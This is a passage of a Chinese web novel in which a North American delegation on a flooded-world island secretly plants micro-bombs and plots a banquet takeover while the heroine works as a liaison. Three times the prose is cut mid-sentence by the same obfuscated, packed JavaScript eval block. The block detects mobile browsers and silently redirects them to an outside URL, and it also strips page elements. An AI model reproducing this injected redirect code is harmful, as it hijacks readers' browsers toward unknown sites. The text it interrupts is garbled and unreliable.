“家长先等一下,现在还没有到探视时间呢!”老师扭头想拦人,可看齐观的年龄又不像有孩子的,于是又问,“你是家长吗?” 齐观亮出了自己的政府办公楼出入证,说:“上面派来探望幸存者的。” 出门在外,身份都是自己给的,她不把证打开,谁知道她在办公楼里是干嘛的。 老师立刻客气了起来,要请齐观进屋。 齐观却只是朝薛洋洋招了招手,“来。”又对老师客气地点头说,“打扰了。” 薛洋洋恋恋不舍地看了一眼那个被抢走的发圈,弯下身穿好了鞋,“哒哒哒”地跑向齐观。 “姐姐。”薛洋洋撅着个小嘴,委屈巴巴地抱住了齐观的腿。 齐观牵起她的手,两人去拐角的楼梯上并排坐了下来。 “看,这些是什么?”齐观把装文具的袋子放到薛洋洋面前,薛洋洋一下子就笑了。 “喜欢……姐姐。” “是喜欢姐姐送的礼物,还是喜欢姐姐呀?” 薛洋洋又抱住了齐观,声音甜甜的,“姐姐。” 齐观发现薛洋洋很喜欢抱着自己,也许是被袭那天一直把薛洋洋搂在怀里,这样会让她有安全感。 齐观也抱住了薛洋洋,“还难过吗?” “难过。” 齐观笑了,低头看薛洋洋,“怎么还难过呀?” “姐姐送的。”薛洋洋说着眼泪就飙了出来。 齐观明白薛洋洋是想说因为发圈是她送的,所以就算有了新礼物也还是会难过,于是摸了摸她的头,又从包里拿出老周给她的扑克牌。 齐观理了理牌,魔术还没时间学,只学会了个花式洗牌。 扑克牌像瀑布一样落下,声音清脆“哗啦啦”地响,薛洋洋的眼晴一下子就亮了。 齐观又用扑克牌给她出了几道数学题,两个人在楼梯上坐了好一会儿。 走廊传来推车轱辘转动的声音,孩子们的早餐被装进大保温箱放在了一间间宿舍门口。见已经有老师开始分发餐盒,齐观便牵着薛洋洋的手回到宿舍门口。 薛洋洋却抓住了她的裤腿,扑闪着大眼睛说:“洋洋,下次……,呃,不打。” 齐观反应了一会儿才意识到她想说什么。本来这孩子说话就没办法占理,若是再不还手,岂不是要被欺负坏了? “没关系的,洋洋今天很勇敢。”齐观直接蹲在她身边小声说,“一会儿吃完早饭就继续念我给你的故事书,念累了中午早点睡,睡着了就不热了,啊。” 薛洋洋还不知道中午要面对怎样的高温,只是跟着重复道:“念书,早睡。”然后用力点了点头。 齐观看着薛洋洋吃了一会儿,便早早回去了,免得一会儿日头升高了,走回去都烫脚。 两天后的清晨,军区调度指挥中心再次聚集了一众高层。 “舰队已经停在距离海岸线100公里的地方,只有一艘小型护卫舰在继续前进,马上就要进入无线电通话距离。”屏幕前的雷达监视员汇报道。 首长点了点头,看向雷达显示屏的目光沉稳坚定。 此时,安塔岛上的导弹发射井已经全部打开,激光阵已瞄准目标,军队也做好了随时出击的准备。 雷达上的红点不停地朝安塔岛的方向逼近,指挥中心里的所有人都屏息凝神地注视着,这是一场无声的对峙。终于,船只在距离仅剩20公里的位置停下,停止了试探。 无线电波紧接着传来调频对接的“呲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064766|163065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呲”声,和流利的国际通用语——中文:“亚欧大陆上的朋友们,你们好。我们是带着最新的太空技术来合作的。” 此话一出,屋内疑云密布。 曾经在地球的危机时刻,全人类不是没有通力合作过。只是北美的可信度一向不高,又刚洗劫完南美的资源,这话自然让人很难信服。 “为了展示我方的诚意,这艘船上都是北美洲最顶尖的研究员。希望你们可以允许我们上岛交流。” 话筒前的钱章一点都不相信他们的诚意,于是扭头看向首长。 首长微微颔首:“可以。” 肖蔷上前一步道:“首长,这会不会太冒险了?” “我们不知道他们手里有什么武器,肯定是不能贸然开战的。你们带人仔细搜查他们带上岛的东西,尽量降低风险。”首长发话道。 钱章先给在身后等着的杰佛森使了个眼神,才打开了通信话筒。 杰佛森领了命令,乘电梯下楼将皮卡车开到了楼门口,接上紧随而来的钱章和肖蔷准备直奔军港码头。 “等等我!” 杰佛森刚要踩油门就听见了周文涛的呼喊声。 “岁数大了,跑两步就喘。”周文涛开了句自己的玩笑,坐上了副驾,“首长让我也跟过去看看,毕竟也是历史重要时刻嘛。” 肖蔷抬头瞟了一眼周文涛,没有接他的话。 一行人来到军港码头时,乌日娜已经领了一队人来负责他们的安保和首长下达的搜查任务。 为了不用迎合上涨的海水多次重建,码头由四块巨大的浮动平台拼接而成,上百名士兵面向大海严阵以待,还有更多人埋伏在山坡之上。 昨夜又是一场透雨,天蓝得一丝云都没有,仿佛是个好天气。对方的护卫舰缓缓靠岸,舷梯被放了下来。 一个身着迷彩服、头发白金色的男人出现在舷梯的顶端,猛烈的海风吹起他的头发,皮靴踩在舷梯的钢板上,隆隆声如战鼓。 军人的直觉告诉钱章,此人来者不善。 那男人踏上了码头岸边,大步走到为首的肖蔷面前,摘下了墨镜。他的年纪约莫在三十多近四十,瞳孔则是翡翠晶石一样的绿色。 “北美最高行政长官亚伦,向这位美丽的女士问好。”亚伦牵起肖蔷的手背,轻轻一吻。 肖蔷已经四十多了,即使常年身居高位养尊处优,也掩饰不了年华已逝的事实。 她不动声色地抽回手,正色道:“我是安塔岛副首长肖蔷,请让我们按照刚刚约定的上船检查。” “当然。”亚伦微笑着说。 钱章安排了杰佛森检查船舱,乌日娜则负责搜查上岛科研人员。 “这里不能进。”船上的人阻止杰佛森继续向下一层甲板检查。 “不能进你们就原路开回去。”杰佛森直接冷了脸。 那人刚想发作,就被身边的人拦住,杰佛森没管他们的争执继续前进。 本以为有人阻拦说明舱内藏了什么东西,可搜了一圈下来杰佛森却没有什么收获。 舱门口的乌日娜正带着人,用探测器逐个排查研究人员身上的物品。每人都要经过两次检查才能被放出船。 一个非常年轻,脸颊上长着雀斑的研究员排队来到了乌日娜面前。 “Cool。”他对着机械臂称赞道,“我叫科迪,是研究飞船机械臂的,我们会有机会一起做研究吗?” 乌日娜先检查完他的物品,才饶有兴趣地说:“倒是可以给你这个机会。下船吧。” 码头上,通过检查的研究员和少量护卫队逐渐集合在亚伦身后,钱章上前了一步。 “保险起见,冒犯了。” 亚伦张开双臂,任钱章在他身上摸索,一副绝不会被发现任何问题的样子。 不多时,所有检查结束,肖蔷向身旁侧了一步对亚伦道:“请。” 8. 第8章 “让我去对接北美来的人?”齐观一脸震惊地问。 下午正睡着觉,齐观被周文涛一个电话叫回档案中心,还被安排了新工作,这还不如让她去上班呢。 “他们的人我们不放心。”周文涛拿出了自己最慈祥的微笑,“你的工作能力我是知道的,肯定不会出乱子的。” 齐观扁了扁嘴,斜眼看着周文涛。 “这可是外事活动,工作餐很好吃的,比食堂丰富多了。”周文涛继续诱惑。 齐观咽了口口水,但表情依旧不为所动。 “给你加工资。” “……” “行。” 齐观当天就换上了正式的短袖衬衫和西裤,被周文涛引荐给了肖蔷,她这才知道原来自己的同事肖薇有个副首长的妈。只是肖蔷看上去不过四十岁出头,竟然有个和自己差不多大的女儿,这让齐观着实有些意外。 “我今天事情比较多。”肖蔷神色倦怠地对周文涛说,“你先带她去和其他接待员一起接受礼仪培训吧,明天会有人给她安排工作的。” 肖蔷把两人送出办公室,便回了座位继续办公。 两大洲之间的合作,要谈的事情多如牛毛,白天开了一天会的肖蔷又在办公室一直忙到深夜。 回到家,肖蔷见肖薇又在黑灯瞎火的卧室里躺着打游戏。 “别玩了,薇薇,对眼睛不好。”肖蔷走到肖薇床边坐下,“我问你,你那个叫齐观的同事怎么样啊?” “还行吧。”肖薇眼睛都没从游戏机上抬起来。 “什么叫还行啊?妈妈还得给她安排工作呢。” “啊?什么工作?”肖薇从床上坐起来问,“档案中心不是不用上班了吗?” “你领导把她推荐过来帮忙,说是她工作能力还不错,放在哪个岗位都行。不过我怎么记得你一个月前才和我说你有新同事的?这么快就又调动?” “哦,她是老周从学校挖过来的,袭击事件出名的那个幸存者。老周觉得她不错,不过我看就是运气好吧。” 肖薇一听这工作和自己没什么关系,立马又投入到游戏之中。 “原来是那个幸存者啊。”肖蔷思忖片刻,“你对她什么印象?” “挺听话的,老周说什么她干什么。毕竟档案中心工资高,她以前当老师可没那么多钱。” “行,我知道了。”肖蔷抽走了肖薇手里的游戏机,“你早点睡吧,我最近工作忙,你自觉点儿啊。” 肖薇不敢违抗母亲大人,只好摸黑起床去洗漱了。 转天,猛补了一晚课的齐观抱了一摞资料往高层会议室走,刚进门就看到了负责警卫的多吉。 好几天没见了,齐观心里止不住地开心,但又不敢在众人面前表现得太明显。她踏着小高跟,快步颠了两脚来到了多吉面前。 “你怎么在这?”齐观小声问。 多吉嘴角上扬,露出一口白牙,“最近一直在出任务,想我了吧。” “嗯,想了。”齐观大大方方地承认。 两人相视一笑,齐观一扭脸去发材料了。 会议进程表和茶水摆放整齐,双方的与会人员也陆续进场坐定。 这时,会议室的大门突然被大力推开,亚伦抢先大步迈进会议室,面露不善。“已经上岛两天了,还没有见过你们首长一次,这不是待客之道吧。” 肖蔷随后进入会议室,虽不满意亚伦不礼貌的行为,但语气依旧镇定:“首长的身体不适合参加长时间的会议,今天的会议依旧由我代为主持。” 两人进屋落座在长桌两侧中间的空座,会议还没有开始,针锋相对的气氛就已经笼罩在所有人头上。 齐观在来之前已经看过进程表,今天会议的主题是双方研究权限开放问题,只怕是有一场硬仗要打。 亚伦率先开口:“飞船发动机是飞船的核心技术,我们完成了发动机实体建造,并在北美基地通过了数据实验验证。目前发动机被拆成几个模组存放在舰队里,我要求我们的舰队靠岸,船员经过长时间的海上航行也需要上岸休整。” 肖蔷直接拒绝道:“我方只接受发动机由我们的船只分批取回,你们的大型船只不能靠岸。” “你这是对技术的不尊重。”亚伦紧皱眉头,周身的气压又低了几分。 “阁下难道不知道特洛伊木马的故事吗?”钱章突然插了一句。 亚伦的脸色更加难看了,会议陷入僵持。 坐在亚伦身侧的研究员德里克开口打破了沉默,“我方不仅还带来了完善的飞船中控系统,还带了很多学科的研究成果。希望你们开放各实验室与我们合作开发,并且允许我们参观你们的飞船。” “参观是不可能的。”肖蔷再次反驳了北美方提出的要求,“而且你们的研究员只能参与自己的研究领域,非相关领域的实验室没有进入的权限。并且需要先上交自己的研究成果,经我们的研究员核实后,才能进入实验室。” 肖蔷的话音刚落,亚伦便铁青着脸起身离场,双方第一场正式会议就这样不欢而散了。 齐观起身和同事一起收拾会议桌,见周文涛还没离场,便凑上前去,“老周,刚才开会你怎么一句话都没说啊。” 她记得周文涛早早就来了,却坐在一个不起眼的位置,一点也没有加入讨论的意思。 “你和我一样,都是安塔岛的眼睛。”周文涛笑得有些神秘,小声叮嘱道:“魔术记得继续练,会有表演的一天的。” 晚上,齐观推着餐车往北美高级将领的住所去,她深吸了一口气,敲响了房门。 “亚伦先生,您的晚餐。” 房门从里面被打开,齐观有些意外房间内只有亚伦一个人,负责他安全的人全都在门外候着。 见没有士兵帮忙端饭菜,齐观只好硬着头皮自己上了。 看着这些自己餐桌上从来没出现过的新鲜肉类和蔬果,说不馋是不可能的。 齐观咽着口水摆好了三道菜,正要摆刀叉,腰上突然传来温热的触感。 她下意识挥了刀,又马上反应过来要是真攻击了亚伦,自己怕不是要被抓去坐牢。于是连忙后退一步,把餐刀往桌子上一丢。 餐刀在桌上“铛啷啷”滚了两下,齐观有些不知所措地看向桌面。 亚伦嗤笑了一声,“抱歉,我以为你也是晚餐的一部分。” “那你误会了。”齐观的语气生硬,“慢用。” 亚伦目送齐观出了房间,却没有先用餐,而是用手逐个摸了餐盘底端,一张小卡片随即出现在了他的手心。他看着上面的文字,嘴角扬起一丝满意的弧度。 转天,打了一天零工的齐观终于被安排去了秘书处的岗位,但一到办公室就接到了上午会议取消的通知。 昨晚亚伦不知怎么,同意了飞船中控程序的开源研究,航空中心的程序研发部门已经忙起来了。 正当齐观坐在办公桌前不知道该干什么时,秘书处处长王淑红朝她走了过来。 “这是人口管理局送来的最新的全岛地图和人口分布表,刚好你是档案中心的,就先放你这里一份,等你们开工了就拿去存档吧。” 齐观接下了两份文件,刚准备要翻看,王淑红又催着说:“你先拿着文件去总监控室吧,岛上新来了不少人,要加一些新的监控点,正需要地图呢。” 齐观应了差事,起身前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064767|163065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往总监控室。正巧遇上多吉跟着杰佛森看着满墙的监控。 “这是王处长让我拿来的新版地图,给你们加监控用的。”齐观走上前说。 杰佛森接过了地图没说什么,直接看了起来,齐观却在原地愣了三秒。 “怎么了?”多吉问。 齐观一心惦记着自己的本职工作,小声问多吉:“这个地图我还要拿回档案中心存档,你们什么时候能还我啊?” 多吉的表情闪过一丝疑惑,朝杰佛森问:“机动队手里没有地图吗?这份是属于档案中心的。” 杰佛森正认真地分析地图,头也没抬地答:“应该在白玛手里吧,怎么了?” “没什么。”多吉低头思考了片刻,转头对齐观说:“等用完我直接拿给你,你先回吧。” 目送齐观离开了监控室,多吉关上了门,回身微微抬眉看向杰佛森:“如果白玛那个工作狂手里有地图,是不会不给咱们送过来的。” 此话一出,杰佛森也意识到了有些不对劲。 多吉继续说:“档案中心的地图只有存档的作用,优先级怎么也不会高过机动队,没有必要让齐观专门送一趟。” “所以你怀疑谁?”杰佛森问。 “我也不知道,但这事跟她肯定没关系。”多吉生怕他的发现给齐观招来什么麻烦,连忙替她撇开关系。 杰佛森瞥了多吉一眼,用合起的地图拍了拍他心口的位置,“别让感情影响你的判断。不过你说的确实有值得深究的地方,我会汇报给钱章,真有发现就给你记一功。” - 研究所,航空中心。 等了一上午,德里克终于在邮箱里收到一封带有全岛地图照片的匿名邮件。 时针指向十二点整,他如约走进茶水间。 “要喝茶吗?我这里有热水。”一个研究员拿着热水壶朝他走来,德里克看到他的名牌上写着赵毅。 “有咖啡吗?冰的最好。”德里克按照亚伦昨晚告诉他的话答道。 赵毅露出了然的神情,放下水壶低声问:“地图收到了吗?” “嗯,码头接应的人在什么位置?” “污水处理厂向东100米,那里有一处很矮的断崖,你们把炸药分批放在垂下来的篮子里,每天都会有人去取。” “把我们的带来的炸药全部运上岸,至少需要半个月。” “明白,我会把握中控系统优化进度的。” 德里克仍不放心:“即使我们控制了平民区,军区仍有反击的能力。如果在我们舰队靠岸的过程中,岛上组织了足够的反击力量,到时候必是一场恶战,我们还是希望尽可能缩小损失。” 赵毅警惕地看了看周围,继续压低声音说:“系统优化完成之后会办接风宴,大部分的军区高层都会出席。我们会想办法切断宴会厅的信号,到时候你们的船再靠岸,必然万无一失。” 德里克这才放下心来,马不停蹄地去了政府大楼。他避开了人流,晃入岛上单独划给北美的临时办公室,向亚伦复述了对接人给的所有信息。 “地图已经发给舰队与卫星图做比对确认了,如果没有问题今晚就会安排人手,但……”德里克忍不住发出疑问,“真正和我们合作的人到现在都没有露面,这样做会不会太冒险了?” “信息和利益是真的就够了,至于人嘛,事成那一天自然就知道了。”亚伦胸有成竹地靠着椅背,用手捻着昨晚在餐盘下拿到的卡片。 卡片上面无法追踪到终端的中转邮箱账号已经消失不见,那是当温度降低就会自动分解的特殊笔迹,而现在只剩下了一行浅浅的铅笔字。 “合作共赢,各取所需。” 9. 第9章 浓墨般的海水不断蒸腾凝聚成厚厚的云层,又是一个没有月光的夜晚。 两名北美潜水员紧贴着断崖边,悄无声息地浮出水面。有断崖做遮挡,岸上的巡逻队就算打着探照灯也无法发现他们的踪迹。 一条粗粗的麻绳隐藏在海岸的沙土之中,从岸边一直垂到断崖底。 两名潜水员将几十斤微型炸弹逐个从淹没在水中的浮漂球上解开,放在了麻绳绑着的篮筐中。 “选的什么地方啊,这么臭。”一个潜水员被旁边的污水厂熏得有些干呕。 “赶紧放吧,小心被发现了。”另一个小声催促。 两人手脚麻利地装好所有的炸弹,再撒掉浮漂球中剩余的空气,重新沉入黑色的海水中。 就在他们离开不久,篮筐便被两个壮汉拉了上去。其中一人立刻在岸边的草地上摸索起来,随后掀起一个草席顶的盖子,而那盖子上粘的假草简直能和周围的草融为一体,另一人则把篮筐小心翼翼地放进盖子下的坑中。 两人鬼鬼祟祟地看了看四周,见四下无人便各拿了一枚炸弹揣进衣兜里,盖上盖子走了。 虽然白天各部门已经陆续复工,但晚上依旧限电,街上三三两两的人聚在一起乘凉聊天,偶有人走过也不会让人起疑。 在夜幕的掩盖下,几十个炸弹被陆续前来的居民拿走。他们默契地绕过监控点潜入楼宇之间,就这样消失了踪迹…… 雨季夜短昼长,太阳早早地跃上海平面。齐观一觉睡醒,抹了一把脸上的汗,先冲了个澡才去上班。 刚到办公室,王淑红就递给她一张名单,“两周之后要给北美的客人办一场迎接晚宴,你按表上的人数拟一下晚宴菜单和预算,一会儿发给我看。” 齐观有些犯难,她又没吃过什么好东西,怎么知道晚宴该安排些什么菜。 其他同事都被安排去了各种学术研讨会和高层会议做场务,现在也没人可问。齐观在座位上想了半天,把自己能想到的最好的菜都写上,才起身递到了王淑红面前。 王淑红斜瞄了一眼齐观写好的菜单,又上下打量了一遍她不太合身的工装,一看就是单位统一发的,还是穿了好几年的旧款。她语气有些不耐烦地说:“回去坐着吧,一会儿我改好给你。” 齐观也不恼,反正来这儿也是加了工资的,便坐回位置上静静等着。 虽然刚来秘书处没两天,齐观已经看得出这位王处长不太爱搭理手底下的年轻人。 王淑红的西服布料泛着柔和的光泽,手上戴的是镶钻的奢华腕表,颈上还挂了一条如石头阵般密集的浓绿的翡翠项链,一看就不是出自岛上的店铺,而是代代相传的宝贝。那是只有第一代岛民的子女才能拥有的东西。 齐观默默移开观察的目光。有人的地方就有阶级,与其琢磨他人脸色,不如下班趁商店没关门买点儿好吃的解解馋。 自从在档案中心过上到处打工的生活,齐观觉得自己的心态真是越放越平了。 “喏,拿着单子去采购部吧。”王淑红在座位上敲了敲桌子,“有些食材是要提前预定的,你盯着点儿让他们好好准备。” 齐观起身接过采购单,看着多了一个位数的预算和许多她根本没听过的菜名,心中暗自咂舌。果然贫穷还是限制了她的想象力。 一路寻着指示牌到了采购部,齐观也不知道该找谁,她径直走向离门口最近的人问道:“你好,我是秘书处的,请问采购晚宴食材应该找谁呀?” “程哥!”那人直接扭头朝屋里喊了一声,一个三十多岁略显魁梧的男人应声走来。 齐观将菜单递给了那人,说:“这是两周后晚宴的菜单,十桌,每桌10人的份额。” 程林接过菜单,似乎对上面昂贵的菜色习以为常。 “石斑鱼和黑虎虾够不够我得先问问水产养殖场,上个月订的人还不少呢。其他的蔬菜水果倒是还好说。这样吧,我先按你这个单子去安排,如果哪样不够我再问问海捕队。” 齐观愣住:“海捕队?” “对啊,养殖场能养的就那几种,只能说是质量比较稳定。真新鲜的鱼还得是海里刚捕回来的,就是每次捕回来的数量说不准。” 齐观有些不解,又问:“海里不是有核辐射吗?还有那些还没来得及处理就被淹了的化工厂,那些漏出来的东西不都在海里吗?” 程林一摆手,爽快地说:“现在这地球上哪儿没有辐射和污染啊?人就活这几十年,还拘在这岛上哪儿都去不了,有点儿钱不都花在吃上了。” 齐观默然,这话确实说的有理,如果她生而富贵只怕也会尽自己所能得到更好的东西。 只是她想起这几天看到的新闻,每天都有人因为中暑在家中过世,而那些鱼虾,甚至蔬菜水果都能在岛上拥有一间恒温的房子,未免太讽刺了。 齐观从口袋掏出名片递了过去,“那麻烦你先订购吧,有什么变化可以随时联系我。” 从采购处回来,齐观又马不停蹄地拿着拟邀名单去了北美舰队的办公室。房间并不大,除了亚伦和他身边的亲信外,就只有些护卫兵在站岗。 “名单我没什么问题。”亚伦刚看完名单就对德里克说,“派人把咱们船上最好的酒取来,和新大陆的新朋友一起分享。” “是。”德里克应道。 “如果你们要上船取东西,我需要请机动队的人全程陪同并检查物品。”齐观提醒了一句。 “当然。”亚伦笑得随和,轻松地耸了耸肩,仿佛要他怎么配合都可以。 看着亚伦这幅样子,齐观还真是有些不习惯。她转身离开了办公室,准备去联系机动队。 办公室里的亚伦则起身走他单独办公的小房间,在窗前继续端详手里的名单,先是透过阳光看了一会儿,又用铅笔扫了一遍纸的一角。 见没有字迹显示出来,亚伦先是拧眉思考了一会儿,又坐下开始翻起他的办公桌。 办公桌里只有几件常用的办公用品,很快,他的目光便锁定在一支静静贴在抽屉最里侧的紫光灯笔。 亚伦抓起笔,用紫光扫过纸张,荧光的图文随之显现,他的嘴角扬起满意的弧度。 晚宴所在的双层礼堂地形图清清楚楚地画在背面,文字则是每日岛上常规巡逻的人数和路线。 亚伦叫了自己的护卫总指挥布莱恩进来,他先用紫光笔当着布莱恩的面扫了一遍纸,又把纸笔都递了过去。 “派人核实一下,每天都要去盯,确保这上面的信息没有问题。”趁着布莱恩看图分析的时候,亚伦又继续安排道,“借着这次运酒你上一趟船,如果想要扣押礼堂中的所有人,以我们现在的兵力是不够的。从之前我们在地图中发现的几处边防漏洞再安排些人上岛。” 布莱恩随即领命前往军区,与接到任务的机动队的机动队一起前往军港码头。 机动队的人将酒箱和食物补给箱翻了个底朝天,但都没有看出来有什么问题,只好将箱子都搬上了车。 杰佛森见多吉还站在卡车旁盯着箱子,于是走上前问道:“怎么了?是发现什么了吗?” 多吉面色凝重地说:“你不觉得这些人太配合了吗?那天护卫舰靠岸的时候,亚伦给我的感觉就不像是来合作的,可到现在我们并没有查出来什么纰漏。” “我也感觉有些不对劲,但是今天确实没有查出来什么。”杰佛森拍了拍多吉的肩膀,“先回去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064768|163065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。” 阳光晒在脸上烧得生疼,多吉眯眼看向远方。一百公里外的舰队与海岸线融为一体,根本看不到任何踪迹,可多吉还是觉得那里有无数双眼睛在虎视眈眈。 一座四面环海的岛屿不知有多少缝隙可以趁虚而入,多吉从军港码头一路开回军区,心里的疑云久久不能散去。 入夜,多吉找杰佛森打了报告,一个人换了便装到街上巡查。 皮卡太过引人注目,他找看门大爷借了辆自行车,从军区一路骑车去向海岸边。 白色短袖衬衫多开了几粒扣子,凉爽的晚风灌进衣领,多吉漫无目的地在街上到处看,他也不知道自己到底在找什么。 直到路过第三个直直朝高处居住区走的人,他才终于觉出了不对劲。其他居民只是在自住的小区附近徘徊,而这几个走上坡的人却都满头大汗,好像是从很远的地方赶来,神色中也有些掩藏不住的躲闪。 多吉并没有打草惊蛇,而是围着几个相邻的街区来回骑了几圈,果然又见到了几个类似的人。 他便把自行车停在路边,悄声跟住一个可疑的路人往住宅区里走。 挺热的天气,那人却穿了深色的衣服,手里还拿了一块黑乎乎的东西。多吉见他鬼鬼祟祟地在一栋居民楼旁刨了个浅坑,慌忙把东西埋进坑后又故作轻松地离开,只是他左顾右盼的样子实在太过欲盖弥彰。 多吉一直躲在阴影中,等他走远之后才小心翼翼地把东西挖出来。他借着微弱的月光定睛一看,这竟然是国际上已知威力最大的微型炸弹RD90,不到一公斤的重量足够炸毁八层的厚砖房。埋在这地下,只怕顷刻间便能把眼前这栋矮楼连根拔起。 多吉心中顿时警铃大作,连忙掏出对讲机:“杰佛森!你现在回办公室,我有重大发现。” 多吉放下对讲机就往自行车跑,一路猛蹬回了军区办公楼,车轮都要蹬出火星子。 “杰佛森!你看看这个。”多吉一进办公室就把炸弹递给正等着的杰佛森,“我在沿海平民区发现的,埋炸弹的人光是今天我看到的就有六七个,实际的只会更多。而且说不定他们早就开始这么做了,现在岛上恐怕……” 两人深深地交换了一个满是担忧的眼神,杰佛森急声:“走!现在就去跟司令汇报。” 为了节约时间,两人跟钱章打了声招呼就直接去了他家。 炸弹击鼓传花般地落到了钱章手里,但刚从床上被薅起来的钱章倒没显得有多意外,仿佛已经习惯大半夜被下属吵醒,然后抛给他一个坏消息。 “如果真像你们说的,平民区被大批量投放炸弹,那么北美舰队为了不重复投放浪费炸药,肯定会让这些人上报自己的炸药点位,说不定还会派人再去核查数量。” 钱章把炸弹递回给多吉,继续说:“埋回去吧,不要打草惊蛇。既然埋炸药的人不是住在沿海平民区的,那你们就在队里找几个信得过的人,白天去查位置,只查不挖。” 杰佛森对这个命令有些迟疑,问:“可我们不知道他们什么时候动手,一直埋着会不会有隐患呢?” “可靠消息,就在晚宴那天。到时候我们一次性取出所有炸弹,他们根本来不及反应。”钱章满意地转头对多吉说,“之前我们并不知道他们的具体行动,你这发现实在是大功一件,论功行赏的时候少不了你的。不过你也得多谢杰佛森,当初去部里选人,还是他向我推荐的你。” 多吉不由得一愣,刚要道谢,杰佛森却连连摆手说:“谢什么,怪尴尬的。你的训练成绩本就足够进入机动队了。” “他这人,脸皮薄。”钱章指着杰佛森笑了笑,“行了,都早点回去歇着吧,接下来的日子可有的忙了。” 10. 第10章 航天中心的系统优化进程已过半,科迪和乌日娜率先了完成飞船机械臂的代码优化,相约来到了人体工程实验室。 “能在我的代码上优化,你也是挺有本事的。”乌日娜看向科迪的眼神充满欣赏。 科迪耸耸肩笑着说:“飞船机械臂本来就是我最擅长的领域,不过你的代码也很厉害。” “那当然了。”乌日娜也不遑多让,“不过你那么年轻,怕是很快就能超过我了。” 科迪对乌日娜的赞扬只是笑笑,显然他对她的人体机械臂更感兴趣,他一脸求知若渴地问:“现在可以让我知道你的机械臂是如何运作的吗?” 乌日娜从实验台的架子上取下了一个小试剂瓶,试剂瓶里泡着的是一枚小小的芯片。 “这枚生物芯片可以通过探针分子将大脑电信号与计算机电信号相互转换,植入在身体里的实际运算转换速度只有25毫秒。”乌日娜说着,自豪地拍了拍自己的肩膀,“这是上一代芯片,送你了,拿回去研究吧。” 科迪接过试剂瓶仔细端详了片刻,又看向乌日娜的肩膀,“那岂不是意味着你每次迭代都需要做手术?” 乌日娜笑了,“十年前的第一代可是要在脊椎里动手术的,现在这版已经很方便了。” 科迪举起试剂瓶,透过天花板的灯光看着芯片自信道:“那我说不定能给你一个惊喜。” 五天之后,科迪拎着一个小小的低温箱找到了乌日娜。 他一脸神秘地打开低温箱,里面冻着的是一个30ml的试剂瓶。试剂瓶中透明的保存液里泡了一小片手臂的仿生肌肉组织,厚度不过两毫米。 科迪:“这是我和同事一起做的,控制这片肌肉组织的是人造神经元和我优化过的芯片,不过没有人体供能的神经元最多只能冷藏保存两天,你可以抽空试一试。” 乌日娜十分惊讶地看着科迪:“这么快就优化好了?” “也算是站在巨人的肩膀上了。”科迪把低温箱往乌日娜面前一推,“现在你可以通过手术一次性连接神经元,之后的芯片迭代直接在体外组织中操作就可以了。” 乌日娜的心虽然从拿到芯片的那一刻就痒了起来,但保险起见,她还是先检查了芯片中代码有没有问题。 然而当逻辑清晰的代码呈现在面前时,乌日娜不得不承认,能在这么短的时间内写出比她现在用的这代芯片反应时间还加速10%的代码,科迪确实是百年难遇的天才。 乌日娜直接喊了助手帮自己安排时间最近的手术,当晚就换上了最新的芯片。 再次手术台上苏醒,乌日娜对着每一根积极响应她指令的手指兴奋不已,这几乎已经达到了人体原有的反应速度。她翻身下床,操纵着这条更加灵活地手臂,从裤子口袋里拿出一个小小的红色绒布盒子,今晚她还有更重要的事情要去做。 …… 隔天傍晚,距离晚宴开始还有半个小时,齐观忙了一整天终于把一切都安排妥当,找了个角落准备偷会儿闲。 刚复检过菜品成分的乌日娜发现了齐观,眼角噙着笑意朝她走了过来。 “喏,请柬。” 乌日娜递来一张白底金边的折叠卡片,齐观看着卡片上“婚礼请柬”的文字,不由得一愣。 “新郎……杰佛森?”齐观猛地抬起头,瞪大眼睛不可置信地看向乌日娜。 乌日娜两颊微红,抿嘴笑得羞涩,这和齐观印象中她强悍的战士形象简直天差地别。 “你们是什么时候在一起的?”齐观忍不住问出口。 “快三年了吧。”乌日娜搬了把椅子也坐了下来,“那时候他刚升任机动队队长。我第一次在钱章办公室见到他的时候,一眼就看上他了。你别看他表面严肃,内心其实是个很柔软的人。” 齐观见不远处的杰佛森正在和多吉交代着什么,两人的神情一个赛一个的凝重。其实在之前的接触中她也有察觉到,杰佛森时常在一些细节中展现他内里柔和的一面,只是队长的担子让他不得不强硬起来。 “祝福你们。”齐观此刻的笑容是发自内心的。 “谢谢。”乌日娜笑得灿烂,“那你呢?领了证就可以申请合住,你和多吉不考虑一下吗?” 岛上结婚离婚都相当自由,无关生育,无关财产,只为让那些坠入爱河的年轻男女在爱情最盛放的时刻感受它的美好。 齐观是知道这项规定的,毕竟在这末世之中拥有一室乐土,也算一种人文关怀。 